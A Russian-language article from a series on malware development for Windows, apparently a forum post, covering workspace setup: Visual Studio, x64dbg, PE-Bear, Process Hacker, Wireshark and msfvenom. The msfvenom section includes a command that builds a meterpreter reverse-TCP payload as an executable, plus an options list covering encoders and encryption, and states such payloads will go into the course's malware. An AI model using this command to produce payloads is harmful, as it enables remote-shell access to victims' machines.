Инструменты

В предыдущей части мы затронули, зачем вообще разрабатывать вредоносное ПО, рассмотрели жизненный цикл такого ПО и немного затронули выбор языка разработки.

Предыдущая часть тут: https://bitsec42.org/ams/zachem-izuchat-razrabotku-vredonosnykh-programm.6/

Перед началом путешествия по разработке вредоносного программного обеспечения необходимо подготовить рабочее пространство, установив инструменты для разработки вредоносных программ, а также их отладки.

Эти инструменты будут полезны в процессе разработки и анализа вредоносного программного обеспечения.

Отмечу что пока мы будем рассматривать ОС Windows, т.к. большинство малвари пишут именно под эту ОС, но также в будущем хочу затронуть Линукс и может-быть несколько статей будут затрагивать обсуждение малвари для мобильных устройств.)

Инструменты разработки/отладки и исследования программ

Установите следующие инструменты:

Visual Studio - это среда разработки, в которой будет происходить процесс написания и компиляции кода. Установите C/C++ Runtime.

x64dbg - x64dbg - это отладчик, который будет использоваться во всех следующих статьях для получения внутреннего понимания разработанной вредоносной программы.

PE-Bear - PE-bear - это многофункциональный инструмент обратной разработки для файлов РЕ. Он также будет использоваться для оценки разработанной вредоносной программы и поиска подозрительных признаков.

Process Hacker 2 - Process Hacker - это мощный универсальный инструмент, который помогает отслеживать ресурсы системы, отлаживать программное обеспечение и обнаруживать вредоносные программы.

Wireshark – это широко распространённый инструмент для захвата и анализа сетевого трафика, который активно используется как для образовательных целей, так и для устранения неполадок на компьютере или в сети.

Msfvenom - это инструмент интерфейса командной строки, который используется для создания пэйлоадов для разных платформ.

Рассмотрим эти инструменты более подробно:

Visual Studio
- это интегрированная среда разработки (IDE), разработанная Microsoft. Она используется для разработки широкого спектра программного обеспечения, такого как веб-приложения, веб-сервисы и компьютерные программы.

Он также поставляется с инструментами разработки и отладки для создания и тестирования приложений.

Visual Studio будет основной средой разработки, используемой в этом курсе.

1746701868040.png





x64dbg - это отладочная утилита с открытым исходным кодом для x64 и x86 бинарных файлов Windows.

Она используется для анализа и отладки приложений в пользовательском режиме и драйверов в режиме ядра.

Она предоставляет графический интерфейс пользователя, который позволяет пользователям проверять и анализировать состояние своих программ, просматривать содержимое памяти, инструкции ассемблера и значения регистров.

С помощью x64dbg пользователи могут устанавливать точки останова, просматривать данные стека и кучи, выполнять пошаговое выполнение кода, читать и записывать значения памяти.

1746701876262.png



PE-Bear - это бесплатный инструмент с открытым исходным кодом, разработанный для помощи аналитикам вредоносного программного обеспечения и обратной разработки в быстром и простом анализе исполняемых файлов Windows Portable Executable (PE).

Он помогает анализировать и визуализировать структуру файла PE, просматривать импорты и экспорты каждого модуля и выполнять статический анализ для обнаружения аномалий и возможного вредоносного кода. PE-bear также включает функции проверки заголовка PE и секций, а также шестнадцатеричного редактора.

1746701886606.png



Process Hacker - это инструмент с открытым исходным кодом для просмотра и управления процессами и службами в операционной системе Windows.

Он похож на диспетчер задач, но предоставляет больше информации и расширенные функции.

С его помощью можно завершать процессы и службы, просматривать подробную информацию и статистику о процессах, устанавливать приоритеты процессов и многое другое.

Process Hacker будет полезен при анализе работающих процессов для просмотра таких элементов, как загруженные DLL-библиотеки и области памяти.


1746701914033.png




Wireshark – это широко распространённый инструмент для захвата и анализа сетевого трафика, который активно используется как для образовательных целей, так и для устранения неполадок на компьютере или в сети.

Wireshark работает практически со всеми протоколами модели OSI, обладает понятным для обычного пользователя интерфейсом и удобной системой фильтрации данных. Помимо всего этого, программа является кроссплатформенной и поддерживает следующие операционные системы: Windows, Linux, Mac OS X, Solaris, FreeBSD, NetBSD, OpenBSD.

1746703268574.png



Msfvenom - это генератор независимых нагрузок (payload) фреймворка Metasploit, который позволяет пользователям создавать различные типы нагрузок.

Эти нагрузки будут использоваться в создаваемом вредоносном программном обеспечении в рамках данного курса.

Также является заменой для инструментов msfpayload и msfencode.

Использование: /usr/bin/msfvenom [опции] <var=val>

Пример: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe

Опции:

-1, --list <type> Список всех модулей.

Типы: payloads, encoders, nops, platforms, archs, encrypt, formats, all.

-p, --payload <payload> Используемая нагрузка (используйте --list payloads для просмотра списка, --list-options для аргументов).

--list-options Список стандартных, расширенных опций для --payload <value>.

-f, --format <format> Формат вывода (используйте --list formats для списка форматов).

-e, --encoder <encoder> Используемый энкодер (используйте --list encoders для просмотра списка).

--service-name <value> Имя службы при создании исполняемого файла службы.

--sec-name <value> Новое имя раздела при создании крупных исполняемых файлов для Windows. По умолчанию: случайная строка из 4 символов.

--smallest Генерация наименьшей возможной нагрузки, используя все доступные энкодеры.

--encrypt <value> Тип шифрования или кодирования для применения к коду оболочки (используйте --list encrypt для списка).

--encrypt-key <value> Ключ для --encrypt.

--encrypt-iv <value> Вектор инициализации для --encrypt.

-a, --arch <arch> Архитектура для --payload и --encoders (используйте --list archs для списка).

--platform <platform> Платформа для --payload (используйте --list platforms для списка).

-o, --out <path> Сохранить нагрузку в файл.

-b, --bad-chars <list> Список символов, которых нужно избегать. Пример: '\х@@\х Р'.

-n, --nopsled <length> Добавить пустой блок заданной длины перед нагрузкой.

--pad-nops Использовать длину блока, заданную опцией -n <length>, как общий размер нагрузки, автоматически добавляя пустой блок до нужного количества (длина блока минус длина нагрузки).

-s, --space <length> Максимальный размер результирующей нагрузки.

--encoder-space <length> Максимальный размер закодированной нагрузки (по умолчанию равен значению опции -s).

-i, --iterations <count> Количество итераций кодирования нагрузки.

-c, --add-code <path> Указать дополнительный файл с shell-кодом для включения.

-x, --template <path> Указать пользовательский исполняемый файл в качестве шаблона.

Пожалуйста изучите эти инструменты более подробно самостоятельно, к сожалению описывать их более детально нет возможности, в сети статей очень много, далее в следующих статьях будет затронут немного язык Си, а потом немного архитектура ОС.

Вообще описывать всё подробно очень затратно, поэтому цель этих статей дать направление, если-же вы действительно хотите что-то изучать, то это в основном самостоятельная практика и изучение.

Но надеюсь эти статьи могут дать какое-то направление…)
Следующая страница цикла: Так какой-же язык выбрать !?
Предыдущая статья цикла: Зачем изучать разработку вредоносных программ ?